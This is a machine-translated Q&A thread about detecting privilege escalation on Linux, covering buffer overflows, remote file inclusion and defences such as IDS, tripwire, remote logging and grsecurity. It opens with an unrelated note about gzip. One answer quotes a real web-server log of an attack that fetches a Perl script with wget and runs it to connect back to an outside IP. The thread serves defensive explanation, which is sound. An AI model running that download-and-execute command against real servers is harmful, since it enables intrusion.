Обнаружение расширения полномочий?

Обратите внимание на то, что gzip формат файла только позволяет 32 бита для хранения исходного размера файла, таким образом, число, там размер по модулю 2^32. Следовательно размер, данный "gzip-l", не является категорическим тестом для пустоты.

5
07.04.2019, 13:40
3 ответа

Использование по самой своей природе пытается не быть обнаруженным. Таким образом, большая часть использования не входит в систему через нормальные средства, по крайней мере, не первоначально. Они будут обычно использовать что-то как переполнение буфера для получения доступа к системе.

переполнение буфера

Этот стиль нападения ищет части приложения, которые надеются брать вход от пользователя. Думайте о веб-странице и различных текстовых полях, где необходимо предоставить информацию путем ввода вещей в эти текстовые поля. Каждое из этих текстовых полей является потенциальной точкой входа для потенциального взломщика.

Хорошие новости:

  • большинство этих нападений не получает корневой доступ, они получают доступ к учетной записи пользователя, конкретно устанавливают для веб-сервера, таким образом, это обычно имеет ограниченный доступ только к файлам веб-сервера и функциям.
  • в прерывании взломщика оставил значительный след во многих областях.
    • Журналы брандмауэра
    • Журналы веб-сервера
    • Другие потенциальные журналы средств обеспечения безопасности

Плохие новости:

  • Они получили доступ к системе, и тем самым имейте береговой плацдарм, где они могут продолжить пытаться ворваться далее.
  • Журналы. Да большую часть времени взломы не обнаруживаются в течение недель/месяцев/лет, учитывая, что анализ регистрируется, является и трудоемким и подверженным ошибкам.

обнаружение корневых логинов

Большинство систем разработано для не разрешения корневых логинов, таким образом, этот вектор атаки не является действительно проблемой. Большинство нападений получает доступ к некоторой другой более низкой учетной записи уровня и затем усиливает путем нахождения дополнительных уязвимостей, после того как они установили береговой плацдарм в системе.

пример № 1:

Быть взломщиком мог получить корневой доступ путем выполнения следующего:

  1. Ворвитесь в учетную запись веб-сервера системы путем нахождения уязвимой веб-страницы, которая обрабатывает вход пользователя от некоторой формы до текстовых полей.
  2. После того как доступ к учетной записи веб-сервера был достигнут, попытка или получить доступ оболочки через учетную запись веб-сервера или попытаться получить учетную запись веб-сервера к командам выполнения от Вашего имени.
  3. Решите, что существует слабость в версии этой конкретной системы инструмента, такого как команда ls.
  4. Переполните инструмента ls получить доступ к корневой учетной записи.

пример № 2:

Быть взломщиком даже не мог бы интересоваться получением полного контроля над Вашей системой. Большинство взломов только интересуется собирающимися системами использоваться в качестве "ведомых устройств" для другого использования. Таким образом, часто взломщик только интересуется получением их программного обеспечения, установленного в Вашей системе так, чтобы они могли использовать систему, даже никогда не получая полный контроль над системой.

  1. Решите, что определенный веб-сайт сделал доступным веб-приложение X. Взломщик знает, что веб-приложение X имеет уязвимость, где веб-приложение X позволяет пользователям загружать файлы изображений.
  2. Взломщик готовит названный файл CMD.gif и загрузки это. Возможно, это - изображение аватара пользователя на сайте форума, например. Но CMD.gif не изображение, это - на самом деле программа, кого называют CMD.gif.
  3. Взломщик загружает "изображение" на сайт форума.
  4. Теперь взломщик "обманывает" веб-приложение X в выполнение его "изображения".
  5. Взломщик выполняет вызовы со своим браузером к веб-приложению X, но он называет его способами авторами веб-приложения X никогда не предполагаемый. И при этом они не разрабатывали веб-приложение X для запрещения его.

файл журнала веб-сервера такого нападения

201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
  "GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
  &cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
  %2072.36.21.183%2021 HTTP/1.1" 200

Примечание: демонстрационный журнал от любезности веб-сервера Apache OSSEC.net.

Здесь взломщик заставляет веб-приложение X (index.php) работать CMD.gif который может затем сделать следующее:

  1. cd /tmp
  2. wget http://72.36.254.26/~fanta/dc.txt
  3. perl dc.txt 72.36.21.183 21

Таким образом, они подключили веб-приложение X коаксиальным кабелем в изменяющиеся каталоги к /tmp, загрузите файл, dc.txt, и затем выполненный файл, делающий соединение назад с IP-адресом 72.36.21.183 на порте 21.

Отключение "поставленного под угрозу" сервера

Идея, что можно закрыть сервер вниз, который "обнаружил" использование, является хорошей попыткой, но это не работает по нескольким причинам.

  1. Если взломщик может войти в первую систему, то они могут, вероятно, войти во вторую систему.
  2. Большинство систем является по существу клонами друг друга. Их легче поддержать, и простыми вещами хранения (то же) является признак большинства вещей в IT и компьютерах.
  3. Различные конфигурации означают больше работы в обслуживании систем и большего количества возможностей сделать ошибки, который обычно является, что приводит к уязвимости для начала.
  4. Цель взломщиков не могла бы состоять в том, чтобы ворваться, они могли бы пытаться запретить доступа к Вашему сервису. Это называют отказом в обслуживании (DoS).

Попытка ограничить повреждение

Я мог продолжить и на, но в целом Вы имеете несколько ресурсов в наличии когда дело доходит до обеспечения системы.

  • Используйте инструменты, такие как растяжка для обнаружения изменений в файловой системе системы.
  • Брандмауэры - ограничивают доступ так, чтобы он был только явно позволен при необходимости, скорее затем имея полный доступ ко всему.
  • Проанализируйте инструменты использования файлов журнала для обнаружения аномалий.
  • Держите системы в курсе и актуальный с патчами.
  • Предельное воздействие - только устанавливает программное обеспечение, это необходимо в системе - если этому не нужно gcc установленный компилятор, не устанавливайте его.
  • IDS - программное обеспечение обнаружения проникновения.
4
27.01.2020, 20:39

ОС может и действительно добавлять запись в журнале каждый раз, когда кто-то входит в систему как корень. Но это не приносит пользы против ошибок расширения полномочий по многим причинам.

После того как взломщик является корнем, они могут удалить записи в журнале. Единственный способ избежать этого состоит в том, чтобы записать журналы в некоторое место, к которому взломщик не может получить доступ, такой как неперезаписываемые медиа или удаленная машина.

Логины или процессы, запущенные как корень, являются нормальным событием. Вы не хотите быть, просыпаются каждый день в 6:00, потому что ежедневные задания крона работают. Обнаруживание подозрительных процессов, сетевого трафика и другого поведения является сложным заданием на основе эвристики; инструмент, делающий это задание, называют IDS (система обнаружения проникновения).

Ошибка расширения полномочий не вовлекает взломщика, входящего в систему, ни даже обязательно выполняющего новые процессы. Взломщик использует ошибку в под управлением программе и заставляет ее выполнить любой код, который он вводит. В то время как часто удобно для взломщика назвать другие программы, которые уже присутствуют в системе, это редко необходимо.

1
27.01.2020, 20:39

Хороший вопрос!

В многопользовательских системах Вам просто нужны некоторые гарантии, должен локальное корневое использование успешно выполняться.

Программное обеспечение пространства пользователя Ниндзя постоянно контролирует для новых корневых процессов и возможно уничтожает их, если они порождены из неожиданных источников. Минус то, что Ниндзя берет довольно мало ЦП, и все еще пользовательское использование могло бы просто быть достаточно быстрым для уничтожения Ниндзя, прежде чем Ниндзя уничтожит его.

Ниндзя является  системой обнаружения и предотвращения расширения полномочий для хостов GNU/Linux. При выполнении это будет контролировать действие процесса по локальному хосту и отслеживать все процессы , работающие как корень. Если процесс будет порожден с UID или нулем GID (корень), то ниндзя зарегистрирует необходимую информацию об этом процессе и дополнительно уничтожит процесс, если это было порождено неавторизованным пользователем.

Более безопасная альтернатива должна использовать исправленное ядро GRSEC, и это - функции RBAC (Role Based Access Control). С RBAC возможно разделить пользователя root от всего питания так, чтобы получение корня было практически бесполезно, если Вы также не проходите проверку подлинности как администраторская роль с gradm -a admin.

GRSEC также идет с PaX, который делает ядро намного более трудным использовать.

1
27.01.2020, 20:39
  • 1
    Снова наивный вопрос: не было бы большим интегрировать Ниндзя в ядро таким способом, которым оно не будет остановлено? –  Martin V. 19.06.2013, 05:32
  • 2
    @MartinV. Можно считать Ниндзя обходным решением, если Вы не можете использовать ядро GRSEC и RBAC. С RBAC ядро может уничтожить несанкционированные сессии и процессы. –  jkj 19.06.2013, 22:23

Теги

Похожие вопросы